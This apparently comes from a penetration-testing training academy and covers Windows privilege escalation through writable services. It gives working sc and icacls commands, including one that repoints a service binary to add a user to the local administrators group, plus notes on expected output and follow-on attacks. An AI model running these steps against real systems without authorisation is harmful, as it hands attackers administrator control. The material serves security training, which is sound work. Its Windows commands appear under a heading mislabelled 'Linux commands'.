← Back to Academy

Academy Node

Writable Windows Services

Writable service abuse occurs when a low-privileged user can modify a service binary path, replace a service executable, or write into a service directory.

Intermediate100 XPWindows PrivEsc

Why it matters

The PEN-200 Windows privilege escalation section covers abusing Windows services, including service binary hijacking and unquoted service paths.

How to identify it

  • Check services
  • Check binary paths
  • Check permissions on service folders

Linux commands

icacls "C:\\Path\\To\\Service"
sc qc SERVICE_NAME
sc config SERVICE_NAME binPath= "cmd.exe /c net localgroup administrators USER /add"
sc stop SERVICE_NAME && sc start SERVICE_NAME

Expected output

  • SERVICE_START_NAME: LocalSystem
  • BUILTIN\\Users:(I)(M)
  • Service restart succeeds

Success looks like

  • User added to local administrators
  • SYSTEM shell
  • Admin access via WinRM/SMB

Failure looks like

  • Access denied
  • Service cannot restart
  • Service runs as low-priv user

Troubleshooting

  • Check service restart permissions
  • Check whether service auto-starts
  • Use payload matching architecture

Common mistakes

  • Missing space after binPath=
  • Not quoting paths correctly
  • Not restoring service config

Alternative attacks

  • Unquoted service path
  • DLL hijacking
  • Scheduled task abuse

What to try next

  • Validate admin with nxc
  • Open WinRM shell
  • Collect proof

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.